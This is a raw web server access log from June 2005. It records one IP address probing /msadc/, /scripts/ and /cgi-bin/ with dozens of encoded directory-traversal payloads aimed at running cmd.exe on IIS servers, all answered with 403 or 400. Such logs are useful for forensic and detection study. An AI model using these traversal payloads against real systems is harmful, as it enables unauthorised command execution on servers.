24.125.77.105 - - [17/Jun/2005:19:32:57 -0400] "HEAD /msadc/..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:32:57 -0400] "HEAD /msadc/..%fc%80%80%80%80%af../..%fc%80%80%80%80%af../..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:32:57 -0400] "HEAD /msadc/..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:32:57 -0400] "HEAD /msadc/..%f8%80%80%80%af../..%f8%80%80%80%af../..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:32:57 -0400] "HEAD /msadc/..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:32:57 -0400] "HEAD /msadc/..%f0%80%80%af../..%f0%80%80%af../..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:32:57 -0400] "HEAD /msadc/..%e0%80%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:32:58 -0400] "HEAD /msadc/..%e0%80%af../..%e0%80%af../..%e0%80%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:32:58 -0400] "HEAD /msadc/..%c1%pc../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:32:58 -0400] "HEAD /msadc/..%c1%pc../..%c1%pc../..%c1%pc../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:32:58 -0400] "HEAD /msadc/..%c1%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:32:58 -0400] "HEAD /msadc/..%c1%af../..%c1%af../..%c1%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:32:58 -0400] "HEAD /msadc/..%c1%9c/winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:32:58 -0400] "HEAD /msadc/..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:32:58 -0400] "HEAD /msadc/..%c1%9c../..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:32:58 -0400] "HEAD /msadc/..%C1%9C..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:32:58 -0400] "HEAD /msadc/..%c1%8s../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:32:59 -0400] "HEAD /msadc/..%c1%8s../..%c1%8s../..%c1%8s../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:32:59 -0400] "HEAD /msadc/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:32:59 -0400] "HEAD /msadc/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:32:59 -0400] "HEAD /msadc/..%C1%1C..%C1%1C..%C1%1C..%C1%1Cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:32:59 -0400] "HEAD /msadc/..%c0%qf../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:32:59 -0400] "HEAD /msadc/..%c0%qf../..%c0%qf../..%c0%qf../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:32:59 -0400] "HEAD /msadc/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:32:59 -0400] "HEAD /msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:32:59 -0400] "HEAD /msadc/..%C0%AF..%C0%AF..%C0%AF..%C0%AFwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:32:59 -0400] "HEAD /msadc/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:32:59 -0400] "HEAD /msadc/..%c0%9v../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:00 -0400] "HEAD /msadc/..%c0%9v../..%c0%9v../..%c0%9v../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:00 -0400] "HEAD /msadc/..%255c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:00 -0400] "HEAD /msadc/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:00 -0400] "HEAD /msadc/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:00 -0400] "HEAD /msadc/..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:00 -0400] "HEAD /msadc/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:00 -0400] "HEAD /msadc/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:00 -0400] "HEAD /msadc/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:00 -0400] "HEAD /msadc/..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:00 -0400] "HEAD /msadc/..%252f..%252f..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:00 -0400] "HEAD /msadc/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:01 -0400] "HEAD /msadc/..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:01 -0400] "HEAD /msadc/..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:01 -0400] "HEAD /msadc/..%25%35%63..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:01 -0400] "HEAD /msadc/..%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:01 -0400] "HEAD /msadc/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:01 -0400] "HEAD /msadc/..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:01 -0400] "HEAD /msadc/..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:01 -0400] "HEAD /msadc/..%%35c..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:01 -0400] "HEAD /msadc/..%%35c..%%35c..%%35c..%%35c..%%35c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:01 -0400] "HEAD /msadc/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:02 -0400] "HEAD /msadc/..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:02 -0400] "HEAD /msadc/..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:02 -0400] "HEAD /msadc/..%%35%63..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:02 -0400] "HEAD /msadc/..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:02 -0400] "HEAD /msadc/..%u005c..%u005cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:02 -0400] "HEAD /msadc/..%u002e..%u002e/winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:02 -0400] "HEAD /msadc/..%u00255c..%u005cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:02 -0400] "HEAD /msadc/..%u002f..%u002fwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:02 -0400] "HEAD /msadc/..%u0025%u005c..%u0025%u005cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:02 -0400] "HEAD /scripts/..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:02 -0400] "HEAD /scripts/..%fc%80%80%80%80%af../..%fc%80%80%80%80%af../..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:03 -0400] "HEAD /scripts/..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:03 -0400] "HEAD /scripts/..%f8%80%80%80%af../..%f8%80%80%80%af../..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:03 -0400] "HEAD /scripts/..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:03 -0400] "HEAD /scripts/..%f0%80%80%af../..%f0%80%80%af../..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:03 -0400] "HEAD /scripts/..%e0%80%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:03 -0400] "HEAD /scripts/..%e0%80%af../..%e0%80%af../..%e0%80%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:03 -0400] "HEAD /scripts/..%c1%pc../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:03 -0400] "HEAD /scripts/..%c1%pc../..%c1%pc../..%c1%pc../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:03 -0400] "HEAD /scripts/..%c1%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:03 -0400] "HEAD /scripts/..%c1%af../..%c1%af../..%c1%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:03 -0400] "HEAD /scripts/..%c1%9c/winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:04 -0400] "HEAD /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:04 -0400] "HEAD /scripts/..%c1%9c../..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:04 -0400] "HEAD /scripts/..%C1%9C..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:04 -0400] "HEAD /scripts/..%c1%8s../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:04 -0400] "HEAD /scripts/..%c1%8s../..%c1%8s../..%c1%8s../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:04 -0400] "HEAD /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:04 -0400] "HEAD /scripts/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:04 -0400] "HEAD /scripts/..%C1%1C..%C1%1C..%C1%1C..%C1%1Cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:04 -0400] "HEAD /scripts/..%c0%qf../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:04 -0400] "HEAD /scripts/..%c0%qf../..%c0%qf../..%c0%qf../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:04 -0400] "HEAD /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:05 -0400] "HEAD /scripts/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:05 -0400] "HEAD /scripts/..%C0%AF..%C0%AF..%C0%AF..%C0%AFwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:05 -0400] "HEAD /scripts/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:05 -0400] "HEAD /scripts/..%c0%9v../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:05 -0400] "HEAD /scripts/..%c0%9v../..%c0%9v../..%c0%9v../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:05 -0400] "HEAD /scripts/..%255c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:05 -0400] "HEAD /scripts/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:05 -0400] "HEAD /scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:05 -0400] "HEAD /scripts/..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:05 -0400] "HEAD /scripts/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:06 -0400] "HEAD /scripts/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:06 -0400] "HEAD /scripts/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:06 -0400] "HEAD /scripts/..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:06 -0400] "HEAD /scripts/..%252f..%252f..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:06 -0400] "HEAD /scripts/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:06 -0400] "HEAD /scripts/..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:06 -0400] "HEAD /scripts/..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:06 -0400] "HEAD /scripts/..%25%35%63..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:06 -0400] "HEAD /scripts/..%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:06 -0400] "HEAD /scripts/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:06 -0400] "HEAD /scripts/..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:07 -0400] "HEAD /scripts/..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:07 -0400] "HEAD /scripts/..%%35c..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:07 -0400] "HEAD /scripts/..%%35c..%%35c..%%35c..%%35c..%%35c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:07 -0400] "HEAD /scripts/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:07 -0400] "HEAD /scripts/..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:07 -0400] "HEAD /scripts/..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:07 -0400] "HEAD /scripts/..%%35%63..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:07 -0400] "HEAD /scripts/..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:07 -0400] "HEAD /scripts/..%u005c..%u005cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:07 -0400] "HEAD /scripts/..%u002e..%u002e/winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:07 -0400] "HEAD /scripts/..%u00255c..%u005cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:08 -0400] "HEAD /scripts/..%u002f..%u002fwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:08 -0400] "HEAD /scripts/..%u0025%u005c..%u0025%u005cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:08 -0400] "HEAD /cgi-bin/..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:08 -0400] "HEAD /cgi-bin/..%fc%80%80%80%80%af../..%fc%80%80%80%80%af../..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:08 -0400] "HEAD /cgi-bin/..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:08 -0400] "HEAD /cgi-bin/..%f8%80%80%80%af../..%f8%80%80%80%af../..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:08 -0400] "HEAD /cgi-bin/..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:08 -0400] "HEAD /cgi-bin/..%f0%80%80%af../..%f0%80%80%af../..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:08 -0400] "HEAD /cgi-bin/..%e0%80%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:08 -0400] "HEAD /cgi-bin/..%e0%80%af../..%e0%80%af../..%e0%80%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:09 -0400] "HEAD /cgi-bin/..%c1%pc../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:09 -0400] "HEAD /cgi-bin/..%c1%pc../..%c1%pc../..%c1%pc../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:09 -0400] "HEAD /cgi-bin/..%c1%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:09 -0400] "HEAD /cgi-bin/..%c1%af../..%c1%af../..%c1%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:09 -0400] "HEAD /cgi-bin/..%c1%9c/winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:09 -0400] "HEAD /cgi-bin/..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:09 -0400] "HEAD /cgi-bin/..%c1%9c../..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:09 -0400] "HEAD /cgi-bin/..%C1%9C..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:09 -0400] "HEAD /cgi-bin/..%c1%8s../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:09 -0400] "HEAD /cgi-bin/..%c1%8s../..%c1%8s../..%c1%8s../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:09 -0400] "HEAD /cgi-bin/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:09 -0400] "HEAD /cgi-bin/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:10 -0400] "HEAD /cgi-bin/..%C1%1C..%C1%1C..%C1%1C..%C1%1Cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:10 -0400] "HEAD /cgi-bin/..%c0%qf../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:10 -0400] "HEAD /cgi-bin/..%c0%qf../..%c0%qf../..%c0%qf../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:10 -0400] "HEAD /cgi-bin/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:10 -0400] "HEAD /cgi-bin/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:10 -0400] "HEAD /cgi-bin/..%C0%AF..%C0%AF..%C0%AF..%C0%AFwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:10 -0400] "HEAD /cgi-bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - 